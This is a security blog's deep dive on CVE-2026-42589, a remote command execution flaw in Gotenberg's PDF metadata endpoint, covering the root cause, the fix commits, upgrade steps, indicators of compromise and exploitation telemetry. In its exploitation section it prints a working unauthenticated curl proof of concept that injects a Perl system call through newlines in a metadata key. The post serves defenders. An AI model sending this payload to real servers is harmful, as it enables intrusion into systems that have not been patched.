Neutron, our AI engine, scored 97.1% on UC Berkeley's CyberGym benchmark. Learn more

Deep Dive

Deep Dive

Gotenberg PDF Metadata RCE, Exploited in the Wild (CVE-2026-42589)

A newline in a PDF metadata key runs ExifTool Perl code as a command on unauthenticated Gotenberg servers before 8.31.0; exploited by seven clusters.

TL;DR

  • A flaw in Gotenberg before 8.31.0 lets an unauthenticated attacker run operating-system commands through the PDF metadata endpoint. A newline inside a JSON metadata key splits ExifTool's input into a new argument line, and the injected -if flag evaluates Perl expressions.
  • Gotenberg is a Docker-based PDF conversion API with more than 101 million Docker Hub pulls. Any instance before 8.31.0 with port 3000 reachable is exposed, because the endpoint needs no authentication.
  • VulnCheck recorded 1,358 exploitation events from 128 source IP addresses in 30 days, across at least seven attacker clusters. The GitHub advisory rates the flaw Critical CVSS v3.1 9.8, and CISA's KEV catalog does not list it as of 2026-10-30.
  • Upgrade to Gotenberg 8.31.0 or later and recreate the container. The fix has shipped since April 2026. See "How do I fix it?" for what else 8.31.0 changes, and "How do I check if I was compromised?" for VulnCheck's indicators.

Am I affected?

You are exposed when all of these hold:

  • Your instance runs Gotenberg before 8.31.0, published on 2026-04-17.
  • The API port, 3000 by default, is reachable by the attacker. The GitHub advisory notes this is common in internal and cloud deployments.
  • The endpoint /forms/pdfengines/metadata/write is enabled. It is part of the pdfengines module and no authentication protects it.
Branch Affected versions Fixed version
CVE-2026-42589 record (cve.org) Before 8.31.0 8.31.0 (2026-04-17)

Docker Hub's gotenberg/gotenberg:8 tag pointed at 8.29.1 when the flaw was reported in early April 2026, so instances pulling the major tag at that time were exposed.

Check what is actually running, not what you last pulled:

# Running instance: the API reports its own version
curl -s http://your-gotenberg-host:3000/version

# Container: which image the running container uses
docker inspect <container> --format '{{.Config.Image}}'

# Image tag pinned in the deployment file
grep -R "gotenberg/gotenberg:" docker-compose.yml k8s/ 2>/dev/null

How do I fix it?

  1. Move the image reference to 8.31.0 or later, for example gotenberg/gotenberg:8.31.0 or the current 8 tag.
  2. Recreate the container, not just pull the image: docker compose up -d --force-recreate gotenberg, or the equivalent rollout in Kubernetes.
  3. Verify the result with curl -s http://your-gotenberg-host:3000/version.
  4. Restrict port 3000 to the callers that need it. The endpoint never required authentication, so network placement is the lasting control.

Know what 8.31.0 changes before you jump minor versions. The release also hardens outbound URLs by rejecting loopback, RFC1918 and other non-public addresses, defaults --webhook-deny-list to block internal ranges, and stops publishing the thecodingmachine/gotenberg images. Workflows that fetch internal assets or call internal webhooks may need flag overrides after the upgrade.

No configuration workaround exists for the metadata flaw itself. The vulnerable code path runs before any option applies to it.

What is the root cause?

Gotenberg passes caller-supplied PDF metadata keys to ExifTool without rejecting control characters, so a newline in a key breaks ExifTool's line-based stdin protocol into attacker-chosen argument lines.

Gotenberg converts documents to PDF using headless Chromium and LibreOffice. Its pdfengines module exposes /forms/pdfengines/metadata/write, which accepts a PDF file plus a JSON metadata object. The handler hands each metadata key and value to ExifTool through the go-exiftool library.

The go-exiftool library writes each pair as one line of ExifTool's stdin:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

The fmt.Fprintln call appends a newline after every write. When the caller's JSON key itself contains \n, Go's json.Unmarshal preserves it as a literal newline in the map key, and the write splits into multiple lines. ExifTool reads each line as a separate argument. A key of Title\n-if\nsystem('cmd')||1\n-Comment therefore becomes the argument sequence -Title, -if, system('cmd')||1, -Comment=x.

ExifTool's -if flag evaluates its argument as a Perl expression. system('cmd') runs cmd as the Gotenberg process. The advisory credits S-Senhaji with the report.

The module already knew some keys were dangerous. A dangerousTags blocklist deleted FileName and Directory keys, but it used exact string matching and never stripped or rejected control characters, so the newline injection passed through untouched.

How is it exploited?

The proof of concept in the advisory is a single unauthenticated HTTP request. It writes the output of id to a file on the server:

curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F 'files=@sample.pdf;type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)
  1. The attacker POSTs a valid PDF plus a metadata JSON object whose key contains embedded newlines.
  2. Gotenberg deserializes the JSON; the key keeps its literal newlines.
  3. go-exiftool writes the key to ExifTool's stdin, splitting it across argument lines.
  4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
  5. The server returns HTTP 200 with a valid PDF, so the request looks like a normal conversion to monitoring.

The advisory's exfiltration variant encodes command output in base64 and sends it to an out-of-band HTTP listener, which keeps the exchange off the server's own logs.

VulnCheck's October telemetry shows what real operators do with this. One cluster tested command execution with id, read the output back into the response PDF's Subject metadata through ExifTool's -Subject<= operator, then downloaded a custom Go reverse shell named cache_base from three independent mirrors. The Node.js download fallback matters: Gotenberg containers ship Node.js for headless Chromium, so the attacker keeps a downloader even where wget and curl are absent.

How does the attack flow?

One sentence: the attacker sends a metadata key containing newlines, the key splits into ExifTool argument lines on stdin, the injected -if flag evaluates a Perl system call, and the server runs the command while returning a normal-looking PDF.

flowchart LR A["POST with JSON key
containing \n"] --> B["json.Unmarshal keeps
the newline"] B --> C["go-exiftool writes the key
to ExifTool stdin"] C --> D["Newline splits the line
into new argument lines"] D --> E["-if evaluates
system('cmd')||1
as Perl"] E --> F["Command runs as the
Gotenberg process"] F --> G["HTTP 200 with a valid PDF:
no error signal"]

What can an attacker do?

The attacker runs operating-system commands as the Gotenberg process. The advisory's output shows the process runs as uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root): an unprivileged user with the root group. The CVSS vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, scored 9.8.

The conditions are minimal: network access to port 3000, no credentials, no user interaction. The response is a successful conversion, so nothing in the HTTP exchange signals the attack.

What follows depends on the operator. VulnCheck attributes the observed activity to at least seven clusters with different goals: commodity scanning, cryptomining, Python reverse shells, and the custom cache_base reverse shell. The Hunter's Ledger, cited by VulnCheck, reported a cryptomining campaign that confirmed about 200 exploitable Gotenberg instances and installed XMRig, under the name polkitd, on about 150 of them.

Exploitation of CVE-2026-42589 in 30 days of VulnCheck telemetry: 1,127 events from Great Britain, 224 from Israel and 1,358 in total from 128 source IPs.
Figure 1: Exploitation events for CVE-2026-42589 over 30 days of VulnCheck canary telemetry, by source geography. Source: VulnCheck, October 26, 2026

Why does the fix work?

The fix is three commits in the 8.31.0 release, all in the same exiftool module. The first rejects any key that is not a plain tag name:

// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \n) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)

Every key in the metadata object must now match safeKeyPattern before it reaches go-exiftool. A newline, carriage return or any other control character fails the match and the request is rejected as HTTP 400.

The second commit extends the same control to values:

func validateMetadataValue(key, value string) error {
    if strings.ContainsAny(value, "\n\r\x00") {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata value for key %q (contains control character): %w", key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
    }
    return nil
}

The third commit strips ExifTool group prefixes such as System: before the dangerous-tag check, so System:FileName can no longer bypass it, and adds FilePermissions to that blocklist. Together the three close the argument-smuggling path in both keys and values, which the release notes describe as blocking argument smuggling and filesystem pseudo-tag abuse.

How do I check if I was compromised?

VulnCheck publishes indicators for the cache_base cluster. Check for all of them:

  • Network indicators: contact to 210.170.22.208 (residential Japan, the observed attack source), 39.105.65.32 (Gitea payload server, Alibaba Cloud Beijing), 132.145.123.143 (payload host, Oracle Cloud Tokyo), 5.161.100.63 (a second implant's C2, Hetzner), and the domains ubuntu-repo.strangled[.]net, linux-x86-tcpudp.strangled[.]net, cheeva.strangled[.]net.
  • Request patterns: POST requests to /forms/pdfengines/metadata/write whose metadata JSON contains embedded newlines. The observed payloads used keys starting Title\n-if\n and the temporary file /tmp/nx_cmd.txt.
  • Host artifacts: a hidden lock file named .cached_db.lock, the implant cache_base, and the environment variable PYTHONUNBUFFERED=1 set by the Go implant.
  • Implant hashes: cache_base MD5 f5a756d13697cdfa69ed795d4468339d, cache_arm64 MD5 c31cd755293844f8ac0802d2c438e701, cache_mips MD5 2b85605660343399a650b8c3745bccb0.
  • Other clusters' indicators: XMRig running under the process name polkitd, and downloads of 4thepool_miner.sh, banner_homepage_800x800.jpg from an S3 bucket, or payloads from 185.132.53.158:81/anonymus/client.

A hit on the metadata endpoint alone is a lead, not proof: legitimate clients also write PDF metadata. The newline inside the key, the temporary file and the lock file are the discriminating signals.

Timeline

  • 2026-04-06 to 2026-04-13: The maintainer lands the three ExifTool hardening commits in the 8.31.0 branch.
  • 2026-04-17: Gotenberg 8.31.0 is released with the metadata sanitization and the SSRF hardening.
  • 2026-04-30: The GitHub advisory GHSA-rqgh-gxv4-6657 is published, with a working proof of concept.
  • 2026-05-14: The CVE-2026-42589 record is published with the affected range.
  • 2026-06-26: VulnCheck adds the flaw to its own KEV-style catalog. CISA has not added it as of 2026-10-30.
  • 2026-08-31: An XMRig cluster hits the flaw. VulnCheck's earliest observed probing, from rotating Telecom Italia addresses, had run from late June into early August.
  • 2026-10-19 to 2026-10-24: The Contabo scanner 5.189.138.115 generates 364 events, more than a quarter of the 30-day total.
  • 2026-10-26: VulnCheck publishes its analysis of the exploitation and the cache_base implant.

Fixed in April, exploited from late June, analyzed in October: the patch-race timeline for CVE-2026-42589 from release to the VulnCheck report.
Figure 2: The patch race for CVE-2026-42589, from the 8.31.0 fix to the observed exploitation and the VulnCheck analysis. Sources: Gotenberg releases, the GitHub advisory and VulnCheck, checked October 30, 2026

FAQ

Why did no scanner catch this before exploitation?

The flaw has a CVE and a GitHub advisory, but scanners can only flag what is inventoried. A Docker image is not a package dependency, so dependency scanners do not see it, and the container keeps converting PDFs normally. The version endpoint is the reliable check.

Is the flaw in ExifTool or in Gotenberg?

The advisory places it in Gotenberg. ExifTool's -if behavior is documented, and go-exiftool's line protocol is the library's design. Gotenberg controls what enters that protocol, and the blocklist it already carried shows the maintainers accepted that responsibility; the fix is entirely in Gotenberg's code.

What does the cache_base implant do?

It is a 5.2 MB stripped Go binary that takes a lock, queries ipinfo.io for the victim's location, connects to one of two C2 endpoints and pipes a shell between the connection and /bin/sh. It has no persistence of its own, but its toolkit contains a watchdog that restarts it.

My instance is internal. Am I still a target?

Internal and cloud deployments commonly leave port 3000 reachable, as the advisory notes, and one 30-day window alone counted 1,358 events from 128 addresses. An internal network placement narrows who can reach the port; it does not remove the flaw. Patch anyway.

Do I need to rotate anything after patching?

If the compromise checks match, treat the host as compromised: rotate everything the Gotenberg process could read, including service credentials and API keys reachable from its environment, and redeploy from the fixed image rather than cleaning in place.

Find exposed Gotenberg servers with Ostorlab

Ostorlab's attack surface discovery inventories your internet-facing hosts and services, so you can find the hosts exposing a document-conversion API and check their versions before an attacker does.

References

  • GitHub advisory GHSA-rqgh-gxv4-6657, CVE-2026-42589, CVSS v3.1 9.8, published 2026-04-30, with the root cause and the proof of concept: https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657 (checked October 30, 2026)
  • CVE-2026-42589 record, affected versions before 8.31.0, published 2026-05-14: https://www.cve.org/CVERecord?id=CVE-2026-42589 (checked October 30, 2026)
  • VulnCheck, "Cache Me If You Can: Unpacking a Go Implant and Its Toolkit", Jacob Baines, October 26, 2026, the exploitation counts, the seven clusters and the indicators: https://www.vulncheck.com/blog/cache-me-if-you-can (checked October 30, 2026)
  • Gotenberg 8.31.0 release notes, published 2026-04-17, the ExifTool sanitization and the breaking changes: https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0 (checked October 30, 2026)
  • Fix commit 405f1069c026, "fix(exitool) [sic]: prevent control characters", 2026-04-06: https://github.com/gotenberg/gotenberg/commit/405f1069c026 (checked October 30, 2026)
  • Fix commit 55d19522a816, "fix(exiftool): prevent line breaks", 2026-04-11: https://github.com/gotenberg/gotenberg/commit/55d19522a816 (checked October 30, 2026)
  • Fix commit 46e190970fed, "fix(exiftool): remove System: prefixes", 2026-04-13: https://github.com/gotenberg/gotenberg/commit/46e190970fed (checked October 30, 2026)
  • Gotenberg repository, 13,478 stars on October 30, 2026: https://github.com/gotenberg/gotenberg (checked October 30, 2026)
  • Gotenberg on Docker Hub, 101,471,977 pulls on October 30, 2026: https://hub.docker.com/r/gotenberg/gotenberg (checked October 30, 2026)
  • The Hunter's Ledger, the XMRig campaign against about 200 exploitable Gotenberg instances, as cited by VulnCheck: https://the-hunters-ledger.com/reports/gotenberg-rce-cryptomining-107-175-69-137/ (checked October 30, 2026)
  • CISA Known Exploited Vulnerabilities catalog JSON feed, checked for CVE-2026-42589 on October 30, 2026 (not listed): https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (checked October 30, 2026)